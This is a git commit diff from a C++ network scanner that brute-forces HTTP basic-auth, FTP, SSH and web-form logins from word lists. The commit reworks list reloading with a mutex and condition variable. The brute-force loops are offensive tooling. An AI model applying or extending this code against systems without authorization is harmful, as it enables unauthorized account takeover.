mirror of
https://github.com/ChronosX88/nesca.git
synced 2024-11-23 10:42:21 +00:00
mutex testing
This commit is contained in:
parent
f0f24067be
commit
40d69a654a
@ -1,4 +1,5 @@
|
||||
#include "BasicAuth.h"
|
||||
#include "FileUpdater.h"
|
||||
|
||||
bool BA::checkOutput(const string *buffer, const char *ip, const int port) {
|
||||
if((Utils::ci_find_substr(*buffer, "200 ok") != -1 ||
|
||||
@ -40,29 +41,23 @@ lopaStr BA::BABrute(const char *ip, const int port) {
|
||||
|
||||
strcpy(lps.login, "UNKNOWN");
|
||||
|
||||
char login[128] = {0};
|
||||
char pass[32] = {0};
|
||||
|
||||
for(int i = 0; i < MaxLogin; ++i) {
|
||||
if(!lUpdated) Sleep(100);
|
||||
strcpy(login, loginLst[i]);
|
||||
for (int j = 0; j < MaxPass; ++j) {
|
||||
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;});
|
||||
if (!globalScanFlag) return lps;
|
||||
if(!pUpdated) Sleep(100);
|
||||
strcpy(pass, passLst[j]);
|
||||
|
||||
lpString = string(login) + ":" + string(pass);
|
||||
lpString = string(loginLst[i]) + ":" + string(passLst[j]);
|
||||
|
||||
if (Connector::nConnect(ip, port, &buffer, NULL, NULL, &lpString) == -2) return lps;
|
||||
|
||||
if(checkOutput(&buffer, ip, port)) {
|
||||
strcpy(lps.login, login);
|
||||
strcpy(lps.pass, pass);
|
||||
strcpy(lps.login, loginLst[i]);
|
||||
strcpy(lps.pass, passLst[j]);
|
||||
return lps;
|
||||
};
|
||||
|
||||
if (BALogSwitched) stt->doEmitionBAData("BA: " + QString(ip) + ":" + QString::number(port) +
|
||||
"; l/p: " + QString(login) + ":" + QString(pass) + "; - Progress: (" +
|
||||
"; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" +
|
||||
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
|
||||
|
||||
Sleep(100);
|
||||
|
@ -27,7 +27,6 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
|
||||
for(int i = 0; i < MaxLogin; ++i)
|
||||
{
|
||||
if(!globalScanFlag) return lps;
|
||||
if(!lUpdated) Sleep(100);
|
||||
if(strlen(loginLst[i]) <= 1) continue;
|
||||
|
||||
strcpy(login, loginLst[i]);
|
||||
@ -35,7 +34,6 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
|
||||
for(int j = 0; j < MaxPass; ++j)
|
||||
{
|
||||
if(!globalScanFlag) return lps;
|
||||
if(!pUpdated) Sleep(100);
|
||||
if(strlen(passLst[j]) <= 1) continue;
|
||||
|
||||
strcpy(pass, passLst[j]);
|
||||
|
622
FileUpdater.cpp
622
FileUpdater.cpp
@ -1,4 +1,6 @@
|
||||
#include "FileUpdater.h"
|
||||
#include "STh.h"
|
||||
#include "mainResources.h"
|
||||
|
||||
long FileUpdater::oldNegLstSize = 0;
|
||||
long FileUpdater::oldLoginLstSize = 0;
|
||||
@ -6,329 +8,10 @@ long FileUpdater::oldPassLstSize = 0;
|
||||
long FileUpdater::oldSSHLstSize = 0;
|
||||
long FileUpdater::oldWFLoginLstSize = 0;
|
||||
long FileUpdater::oldWFPassLstSize = 0;
|
||||
bool FileUpdater::negUpdated = false;
|
||||
bool FileUpdater::lUpdated = false;
|
||||
bool FileUpdater::pUpdated = false;
|
||||
bool FileUpdater::wflUpdated = false;
|
||||
bool FileUpdater::wfpUpdated = false;
|
||||
bool FileUpdater::sshlpUpdated = false;
|
||||
|
||||
void updateNegatives() {
|
||||
if(GlobalNegatives != NULL)
|
||||
{
|
||||
for(int i = 0; i < GlobalNegativeSize; ++i) delete []GlobalNegatives[i];
|
||||
delete []GlobalNegatives;
|
||||
GlobalNegatives = NULL;
|
||||
};
|
||||
|
||||
negativeLoader();
|
||||
}
|
||||
void updateLogin() {
|
||||
|
||||
if(loginLst != NULL)
|
||||
{
|
||||
for(int i = 0; i < MaxLogin; ++i) delete []loginLst[i];
|
||||
delete []loginLst;
|
||||
loginLst = NULL;
|
||||
};
|
||||
|
||||
MaxLogin = 0;
|
||||
|
||||
char buffFG[32] = {0};
|
||||
|
||||
FILE *loginList = fopen("login.txt", "r");
|
||||
|
||||
if(loginList != NULL)
|
||||
{
|
||||
while(fgets(buffFG, 32, loginList) != NULL)
|
||||
{
|
||||
MaxLogin++;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(loginList);
|
||||
|
||||
loginLst = new char*[MaxLogin];
|
||||
|
||||
for(int j = 0; j < MaxLogin; j++)
|
||||
{
|
||||
loginLst[j] = new char[32];
|
||||
};
|
||||
|
||||
int i = 0;
|
||||
while(fgets(buffFG, 32, loginList) != NULL)
|
||||
{
|
||||
memset(loginLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(loginLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(loginLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
stt->doEmitionGreenFoundData("Login list loaded (" + QString::number(MaxLogin) + " entries)");
|
||||
|
||||
fclose(loginList);
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("No login list found");
|
||||
stt->doEmitionKillSttThread();
|
||||
};
|
||||
}
|
||||
void updatePass() {
|
||||
|
||||
if(passLst != NULL)
|
||||
{
|
||||
for(int i = 0; i < MaxPass; ++i) delete []passLst[i];
|
||||
delete []passLst;
|
||||
passLst = NULL;
|
||||
};
|
||||
|
||||
MaxPass = 0;
|
||||
|
||||
char buffFG[32] = {0};
|
||||
|
||||
FILE *passList = fopen("pass.txt", "r");
|
||||
|
||||
if(passList != NULL)
|
||||
{
|
||||
while(fgets(buffFG, 32, passList) != NULL)
|
||||
{
|
||||
MaxPass++;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(passList);
|
||||
|
||||
passLst = new char*[MaxPass];
|
||||
|
||||
for(int j = 0; j < MaxPass; j++)
|
||||
{
|
||||
passLst[j] = new char[32];
|
||||
};
|
||||
|
||||
int i = 0;
|
||||
while(fgets(buffFG, 32, passList) != NULL)
|
||||
{
|
||||
memset(passLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(passLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(passLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
stt->doEmitionGreenFoundData("Password list loaded (" + QString::number(MaxPass) + " entries)");
|
||||
|
||||
fclose(passList);
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("No password list found");
|
||||
stt->doEmitionKillSttThread();
|
||||
};
|
||||
}
|
||||
void updateSSH() {
|
||||
|
||||
if(sshlpLst != NULL)
|
||||
{
|
||||
for(int i = 0; i < MaxSSHPass; ++i) delete []sshlpLst[i];
|
||||
delete []sshlpLst;
|
||||
sshlpLst = NULL;
|
||||
};
|
||||
|
||||
MaxSSHPass = 0;
|
||||
|
||||
FILE *sshlpList;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
|
||||
sshlpList = fopen("sshpass.txt", "r");
|
||||
|
||||
if(sshlpList != NULL)
|
||||
{
|
||||
while(fgets(buffFG, 32, sshlpList) != NULL)
|
||||
{
|
||||
++MaxSSHPass;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(sshlpList);
|
||||
|
||||
sshlpLst = new char*[MaxSSHPass];
|
||||
|
||||
for(int j = 0; j < MaxSSHPass; j++)
|
||||
{
|
||||
sshlpLst[j] = new char[32];
|
||||
};
|
||||
|
||||
int i = 0;
|
||||
while(fgets(buffFG, 32, sshlpList) != NULL)
|
||||
{
|
||||
memset(sshlpLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(sshlpLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(sshlpLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
stt->doEmitionGreenFoundData("SSH Password list loaded (" + QString::number(MaxSSHPass) + " entries)");
|
||||
|
||||
fclose(sshlpList);
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("No password/login list found");
|
||||
stt->doEmitionKillSttThread();
|
||||
};
|
||||
}
|
||||
void updateWFLogin() {
|
||||
|
||||
if(wfLoginLst != NULL)
|
||||
{
|
||||
for(int i = 0; i < MaxWFLogin; ++i) delete []wfLoginLst[i];
|
||||
delete []wfLoginLst;
|
||||
wfLoginLst = NULL;
|
||||
};
|
||||
|
||||
MaxWFLogin = 0;
|
||||
|
||||
FILE *wfLoginList;
|
||||
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
|
||||
wfLoginList = fopen("wflogin.txt", "r");
|
||||
|
||||
if(wfLoginList != NULL)
|
||||
{
|
||||
while(fgets(buffFG, 32, wfLoginList) != NULL)
|
||||
{
|
||||
MaxWFLogin++;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(wfLoginList);
|
||||
|
||||
wfLoginLst = new char*[MaxWFLogin];
|
||||
|
||||
for(int j = 0; j < MaxWFLogin; j++)
|
||||
{
|
||||
wfLoginLst[j] = new char[32];
|
||||
};
|
||||
|
||||
int i = 0;
|
||||
while(fgets(buffFG, 32, wfLoginList) != NULL)
|
||||
{
|
||||
memset(wfLoginLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(wfLoginLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(wfLoginLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
stt->doEmitionGreenFoundData("WFLogin list loaded (" + QString::number(MaxWFLogin) + " entries)");
|
||||
fclose(wfLoginList);
|
||||
}
|
||||
}
|
||||
void updateWFPass() {
|
||||
|
||||
if(wfPassLst != NULL)
|
||||
{
|
||||
for(int i = 0; i < MaxWFPass; ++i) delete []wfPassLst[i];
|
||||
delete []wfPassLst;
|
||||
wfPassLst = NULL;
|
||||
};
|
||||
|
||||
MaxWFPass = 0;
|
||||
|
||||
FILE *wfPassList;
|
||||
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
|
||||
wfPassList = fopen("wfpass.txt", "r");
|
||||
|
||||
if(wfPassList != NULL)
|
||||
{
|
||||
while(fgets(buffFG, 32, wfPassList) != NULL)
|
||||
{
|
||||
MaxWFPass++;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(wfPassList);
|
||||
|
||||
wfPassLst = new char*[MaxWFPass];
|
||||
|
||||
for(int j = 0; j < MaxWFPass; j++)
|
||||
{
|
||||
wfPassLst[j] = new char[32];
|
||||
};
|
||||
|
||||
int i = 0;
|
||||
while(fgets(buffFG, 32, wfPassList) != NULL)
|
||||
{
|
||||
memset(wfPassLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(wfPassLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(wfPassLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
stt->doEmitionGreenFoundData("WFPassword list loaded (" + QString::number(MaxWFPass) + " entries)");
|
||||
fclose(wfPassList);
|
||||
}
|
||||
}
|
||||
|
||||
long getFileSize(const char *fileName) {
|
||||
std::ifstream in(fileName, std::ifstream::ate | std::ifstream::binary);
|
||||
return in.tellg();
|
||||
}
|
||||
|
||||
bool updateList(const char *fileName) {
|
||||
long sz = getFileSize(fileName);
|
||||
|
||||
if(strstr(fileName, "negatives") != NULL) {
|
||||
if(sz != oldNegLstSize) {
|
||||
negUpdated = false;
|
||||
oldNegLstSize = sz;
|
||||
updateNegatives();
|
||||
negUpdated = true;
|
||||
}
|
||||
} else if(strstr(fileName, "login") != NULL) {
|
||||
if(sz != oldLoginLstSize) {
|
||||
lUpdated = false;
|
||||
oldLoginLstSize = sz;
|
||||
updateLogin();
|
||||
lUpdated = true;
|
||||
}
|
||||
} else if(strstr(fileName, "pass") != NULL) {
|
||||
if(sz != oldPassLstSize) {
|
||||
pUpdated = false;
|
||||
oldPassLstSize = sz;
|
||||
updatePass();
|
||||
pUpdated = true;
|
||||
}
|
||||
} else if(strstr(fileName, "sshpass") != NULL) {
|
||||
if(sz != oldSSHLstSize) {
|
||||
sshlpUpdated = false;
|
||||
oldSSHLstSize = sz;
|
||||
updateSSH();
|
||||
sshlpUpdated = true;
|
||||
}
|
||||
} else if(strstr(fileName, "wflogin") != NULL) {
|
||||
if(sz != oldWFLoginLstSize) {
|
||||
wflUpdated = false;
|
||||
oldWFLoginLstSize = sz;
|
||||
updateWFLogin();
|
||||
wflUpdated = true;
|
||||
}
|
||||
} else if(strstr(fileName, "wfpass") != NULL) {
|
||||
if(sz != oldWFPassLstSize) {
|
||||
wfpUpdated = false;
|
||||
oldWFPassLstSize = sz;
|
||||
updateWFPass();
|
||||
wfpUpdated = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
std::mutex FileUpdater::filesUpdatingMutex;
|
||||
std::condition_variable FileUpdater::cv;
|
||||
bool FileUpdater::ready = false;
|
||||
std::unique_lock<std::mutex> FileUpdater::lk;
|
||||
|
||||
void ReadUTF8(FILE* nFile, char *cp) {
|
||||
char buffFG[256] = {0};
|
||||
@ -461,14 +144,295 @@ void negativeLoader() {
|
||||
}
|
||||
}
|
||||
|
||||
void *updateNegatives() {
|
||||
if(GlobalNegatives != NULL)
|
||||
{
|
||||
for(int i = 0; i < GlobalNegativeSize; ++i) delete []GlobalNegatives[i];
|
||||
delete []GlobalNegatives;
|
||||
GlobalNegatives = NULL;
|
||||
};
|
||||
|
||||
negativeLoader();
|
||||
}
|
||||
void *updateLogin() {
|
||||
|
||||
if(loginLst != NULL)
|
||||
{
|
||||
for(int i = 0; i < MaxLogin; ++i) delete []loginLst[i];
|
||||
delete []loginLst;
|
||||
loginLst = NULL;
|
||||
};
|
||||
|
||||
MaxLogin = 0;
|
||||
|
||||
char buffFG[32] = {0};
|
||||
|
||||
FILE *loginList = fopen("login.txt", "r");
|
||||
|
||||
if(loginList != NULL)
|
||||
{
|
||||
while(fgets(buffFG, 32, loginList) != NULL)
|
||||
{
|
||||
MaxLogin++;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(loginList);
|
||||
|
||||
loginLst = new char*[MaxLogin];
|
||||
|
||||
for(int j = 0; j < MaxLogin; j++)
|
||||
{
|
||||
loginLst[j] = new char[32];
|
||||
};
|
||||
|
||||
int i = 0;
|
||||
while(fgets(buffFG, 32, loginList) != NULL)
|
||||
{
|
||||
memset(loginLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(loginLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(loginLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
stt->doEmitionGreenFoundData("Login list loaded (" + QString::number(MaxLogin) + " entries)");
|
||||
|
||||
fclose(loginList);
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("No login list found");
|
||||
stt->doEmitionKillSttThread();
|
||||
};
|
||||
}
|
||||
void *updatePass() {
|
||||
|
||||
if(passLst != NULL)
|
||||
{
|
||||
for(int i = 0; i < MaxPass; ++i) delete []passLst[i];
|
||||
delete []passLst;
|
||||
passLst = NULL;
|
||||
};
|
||||
|
||||
MaxPass = 0;
|
||||
|
||||
char buffFG[32] = {0};
|
||||
|
||||
FILE *passList = fopen("pass.txt", "r");
|
||||
|
||||
if(passList != NULL)
|
||||
{
|
||||
while(fgets(buffFG, 32, passList) != NULL)
|
||||
{
|
||||
MaxPass++;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(passList);
|
||||
|
||||
passLst = new char*[MaxPass];
|
||||
|
||||
for(int j = 0; j < MaxPass; j++)
|
||||
{
|
||||
passLst[j] = new char[32];
|
||||
};
|
||||
|
||||
int i = 0;
|
||||
while(fgets(buffFG, 32, passList) != NULL)
|
||||
{
|
||||
memset(passLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(passLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(passLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
stt->doEmitionGreenFoundData("Password list loaded (" + QString::number(MaxPass) + " entries)");
|
||||
|
||||
fclose(passList);
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("No password list found");
|
||||
stt->doEmitionKillSttThread();
|
||||
};
|
||||
}
|
||||
void *updateSSH() {
|
||||
|
||||
if(sshlpLst != NULL)
|
||||
{
|
||||
for(int i = 0; i < MaxSSHPass; ++i) delete []sshlpLst[i];
|
||||
delete []sshlpLst;
|
||||
sshlpLst = NULL;
|
||||
};
|
||||
|
||||
MaxSSHPass = 0;
|
||||
|
||||
char buffFG[32] = {0};
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
|
||||
FILE *sshlpList = fopen("sshpass.txt", "r");
|
||||
|
||||
if(sshlpList != NULL)
|
||||
{
|
||||
while(fgets(buffFG, 32, sshlpList) != NULL)
|
||||
{
|
||||
++MaxSSHPass;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(sshlpList);
|
||||
|
||||
sshlpLst = new char*[MaxSSHPass];
|
||||
|
||||
for(int j = 0; j < MaxSSHPass; j++)
|
||||
{
|
||||
sshlpLst[j] = new char[32];
|
||||
};
|
||||
|
||||
int i = 0;
|
||||
while(fgets(buffFG, 32, sshlpList) != NULL)
|
||||
{
|
||||
memset(sshlpLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(sshlpLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(sshlpLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
stt->doEmitionGreenFoundData("SSH Password list loaded (" + QString::number(MaxSSHPass) + " entries)");
|
||||
|
||||
fclose(sshlpList);
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("No password/login list found");
|
||||
stt->doEmitionKillSttThread();
|
||||
};
|
||||
}
|
||||
void *updateWFLogin() {
|
||||
|
||||
if(wfLoginLst != NULL)
|
||||
{
|
||||
for(int i = 0; i < MaxWFLogin; ++i) delete []wfLoginLst[i];
|
||||
delete []wfLoginLst;
|
||||
wfLoginLst = NULL;
|
||||
};
|
||||
|
||||
MaxWFLogin = 0;
|
||||
|
||||
char buffFG[32] = {0};
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
|
||||
FILE *wfLoginList = fopen("wflogin.txt", "r");
|
||||
|
||||
if(wfLoginList != NULL)
|
||||
{
|
||||
while(fgets(buffFG, 32, wfLoginList) != NULL)
|
||||
{
|
||||
MaxWFLogin++;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(wfLoginList);
|
||||
|
||||
wfLoginLst = new char*[MaxWFLogin];
|
||||
|
||||
for(int j = 0; j < MaxWFLogin; j++)
|
||||
{
|
||||
wfLoginLst[j] = new char[32];
|
||||
};
|
||||
|
||||
int i = 0;
|
||||
while(fgets(buffFG, 32, wfLoginList) != NULL)
|
||||
{
|
||||
memset(wfLoginLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(wfLoginLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(wfLoginLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
stt->doEmitionGreenFoundData("WFLogin list loaded (" + QString::number(MaxWFLogin) + " entries)");
|
||||
fclose(wfLoginList);
|
||||
}
|
||||
}
|
||||
void *updateWFPass() {
|
||||
|
||||
if(wfPassLst != NULL)
|
||||
{
|
||||
for(int i = 0; i < MaxWFPass; ++i) delete []wfPassLst[i];
|
||||
delete []wfPassLst;
|
||||
wfPassLst = NULL;
|
||||
};
|
||||
|
||||
MaxWFPass = 0;
|
||||
|
||||
char buffFG[32] = {0};
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
|
||||
FILE *wfPassList = fopen("wfpass.txt", "r");
|
||||
|
||||
if(wfPassList != NULL)
|
||||
{
|
||||
while(fgets(buffFG, 32, wfPassList) != NULL)
|
||||
{
|
||||
MaxWFPass++;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(wfPassList);
|
||||
|
||||
wfPassLst = new char*[MaxWFPass];
|
||||
|
||||
for(int j = 0; j < MaxWFPass; j++)
|
||||
{
|
||||
wfPassLst[j] = new char[32];
|
||||
};
|
||||
|
||||
int i = 0;
|
||||
while(fgets(buffFG, 32, wfPassList) != NULL)
|
||||
{
|
||||
memset(wfPassLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(wfPassLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(wfPassLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
stt->doEmitionGreenFoundData("WFPassword list loaded (" + QString::number(MaxWFPass) + " entries)");
|
||||
fclose(wfPassList);
|
||||
}
|
||||
}
|
||||
|
||||
long getFileSize(const char *fileName) {
|
||||
std::ifstream in(fileName, std::ifstream::ate | std::ifstream::binary);
|
||||
return in.tellg();
|
||||
}
|
||||
|
||||
void updateList(const char *fileName, long *szPtr, void *funcPtr(void)) {
|
||||
long sz = getFileSize(fileName);
|
||||
|
||||
if(sz != *szPtr) {
|
||||
|
||||
FileUpdater::lk = std::unique_lock<std::mutex> (FileUpdater::filesUpdatingMutex);
|
||||
*szPtr = sz;
|
||||
funcPtr();
|
||||
FileUpdater::lk.unlock();
|
||||
FileUpdater::ready = true;
|
||||
FileUpdater::cv.notify_one();
|
||||
}
|
||||
}
|
||||
|
||||
int FileUpdater::updateLists() {
|
||||
while(globalScanFlag) {
|
||||
bool res = updateList("negatives.txt");
|
||||
res = updateList("login.txt");
|
||||
res = updateList("pass.txt");
|
||||
res = updateList("sshpass.txt");
|
||||
res = updateList("wflogin.txt");
|
||||
res = updateList("wfpass.txt");
|
||||
updateList("negatives.txt", &oldNegLstSize, updateNegatives);
|
||||
updateList("login.txt", &oldLoginLstSize, updateLogin);
|
||||
updateList("pass.txt", &oldPassLstSize, updatePass);
|
||||
updateList("sshpass.txt", &oldSSHLstSize, updateSSH);
|
||||
updateList("wflogin.txt", &oldWFLoginLstSize, updateWFLogin);
|
||||
updateList("wfpass.txt", &oldWFPassLstSize, updateWFPass);
|
||||
|
||||
Sleep(60000);
|
||||
}
|
||||
|
@ -6,6 +6,8 @@
|
||||
#endif
|
||||
|
||||
#include <fstream>
|
||||
#include <mutex>
|
||||
#include <condition_variable>
|
||||
#include "externData.h"
|
||||
#include "externFunctions.h"
|
||||
|
||||
@ -17,12 +19,10 @@ public:
|
||||
static long oldSSHLstSize;
|
||||
static long oldWFLoginLstSize;
|
||||
static long oldWFPassLstSize;
|
||||
static bool negUpdated;
|
||||
static bool lUpdated;
|
||||
static bool pUpdated;
|
||||
static bool wflUpdated;
|
||||
static bool wfpUpdated;
|
||||
static bool sshlpUpdated;
|
||||
static bool ready;
|
||||
static std::condition_variable cv;
|
||||
static std::mutex filesUpdatingMutex;
|
||||
static std::unique_lock<std::mutex> lk;
|
||||
|
||||
public:
|
||||
static int updateLists();
|
||||
|
@ -92,7 +92,6 @@ int SSHBrute(const char* host, int port, std::string *buffer, const char *banner
|
||||
for(int i = 0; i < MaxSSHPass; ++i)
|
||||
{
|
||||
if(!globalScanFlag) break;
|
||||
if(!sshlpUpdated) Sleep(100);
|
||||
strcpy(temp, sshlpLst[i]);
|
||||
ptr1 = strstr(temp, ":");
|
||||
if (ptr1 == NULL) {
|
||||
|
@ -8,7 +8,6 @@ std::queue<std::string> Threader::ipQueue;
|
||||
|
||||
void Threader::fireThread(std::string ip, void *func(void)) {
|
||||
|
||||
|
||||
std::unique_lock<std::mutex> lk(m);
|
||||
ipQueue.push(ip);
|
||||
if(threadId < gThreads) {
|
||||
|
@ -1,6 +1,5 @@
|
||||
#include "WebformWorker.h"
|
||||
|
||||
bool WFClass::active = false;
|
||||
#include "FileUpdater.h"
|
||||
|
||||
lopaStr WFClass::parseResponse(const char *ip,
|
||||
const int port,
|
||||
@ -29,8 +28,6 @@ lopaStr WFClass::parseResponse(const char *ip,
|
||||
&& Utils::ci_find_substr(*buffer, std::string("forbidden")) == -1
|
||||
) {
|
||||
|
||||
if(*iIndex == 0) return result;
|
||||
|
||||
stt->doEmition_BAGreenData("[+] " + QString(ip) + ":" + QString::number(port) + " - WF pass: " +
|
||||
QString(login) + ":" + QString(pass));
|
||||
strcpy(result.login, login);
|
||||
@ -66,13 +63,11 @@ lopaStr WFClass::doGetCheck(const char *ip,
|
||||
for(int i = 0; i < MaxWFLogin; ++i)
|
||||
{
|
||||
if(!globalScanFlag) break;
|
||||
if(!wflUpdated) Sleep(100);
|
||||
strcpy(login, wfLoginLst[i]);
|
||||
|
||||
for(int j = firstCycle; j < MaxWFPass; ++j)
|
||||
{
|
||||
if(!globalScanFlag) break;
|
||||
if(!wfpUpdated) Sleep(100);
|
||||
strcpy(pass, wfPassLst[j]);
|
||||
|
||||
int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(login) + strlen(passVal) + strlen(pass) + 4;
|
||||
@ -119,13 +114,11 @@ lopaStr WFClass::doPostCheck(const char *ip,
|
||||
for(int i = 0; i < MaxWFLogin; ++i)
|
||||
{
|
||||
if(!globalScanFlag) break;
|
||||
if(!wflUpdated) Sleep(100);
|
||||
strcpy(login, wfLoginLst[i]);
|
||||
|
||||
for(int j = firstCycle; j < MaxWFPass; ++j)
|
||||
{
|
||||
if(!globalScanFlag) break;
|
||||
if(!wfpUpdated) Sleep(100);
|
||||
strcpy(pass, wfPassLst[j]);
|
||||
|
||||
int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(login) + strlen(passVal) + strlen(pass) + 4;
|
||||
|
@ -10,13 +10,13 @@
|
||||
|
||||
class WFClass : BruteUtils {
|
||||
|
||||
private: static bool active;
|
||||
private:
|
||||
int passCounter = 1;
|
||||
lopaStr doGetCheck(const char *ip, int port, char *actionVal, char *userVal, char *passVal, char *formVal);
|
||||
lopaStr doPostCheck(const char *ip, int port, char *actionVal, char *userVal, char *passVal, char *formVal);
|
||||
lopaStr parseResponse(const char *ip, const int port, const std::string *buffer, const char* formVal,
|
||||
const int *iIndex,
|
||||
const int *jIndex);
|
||||
const char *login,
|
||||
const char *pass);
|
||||
|
||||
|
||||
public:
|
||||
@ -26,12 +26,10 @@ public:
|
||||
|
||||
++WF;
|
||||
BConInc();
|
||||
this->active = true;
|
||||
passCounter = 1;
|
||||
}
|
||||
|
||||
~WFClass(){
|
||||
this->active = false;
|
||||
BConDec();
|
||||
}
|
||||
|
||||
|
@ -15,7 +15,7 @@ extern char* strstri(const char *_Str, const char *_SubStr);
|
||||
extern void nCleanup();
|
||||
extern void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest);
|
||||
extern void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest);
|
||||
extern std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage);
|
||||
//extern std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage);
|
||||
extern void _SaveBackupToFile();
|
||||
extern char *_findFirst(const char *str, char *delim);
|
||||
//extern int nConnect(char *ip, int port, std::string *buffer);
|
||||
|
@ -762,7 +762,8 @@ void _connect() {
|
||||
while (globalScanFlag) {
|
||||
std::unique_lock<std::mutex> lk(Threader::m);
|
||||
Threader::cv.wait(lk, []{return Threader::ready; });
|
||||
if (Threader::threadId > gThreads || !globalScanFlag) {
|
||||
|
||||
if (Threader::threadId > gThreads || !globalScanFlag) {
|
||||
--Threader::threadId;
|
||||
Threader::ready = false;
|
||||
lk.unlock();
|
||||
@ -1326,6 +1327,7 @@ char *GetCIDRRangeStr(char *str) {
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
int fInit(int InitMode, char *gR) {
|
||||
strcpy(metaRange, gR);
|
||||
if (InitMode == 0)
|
||||
|
Loading…
Reference in New Issue
Block a user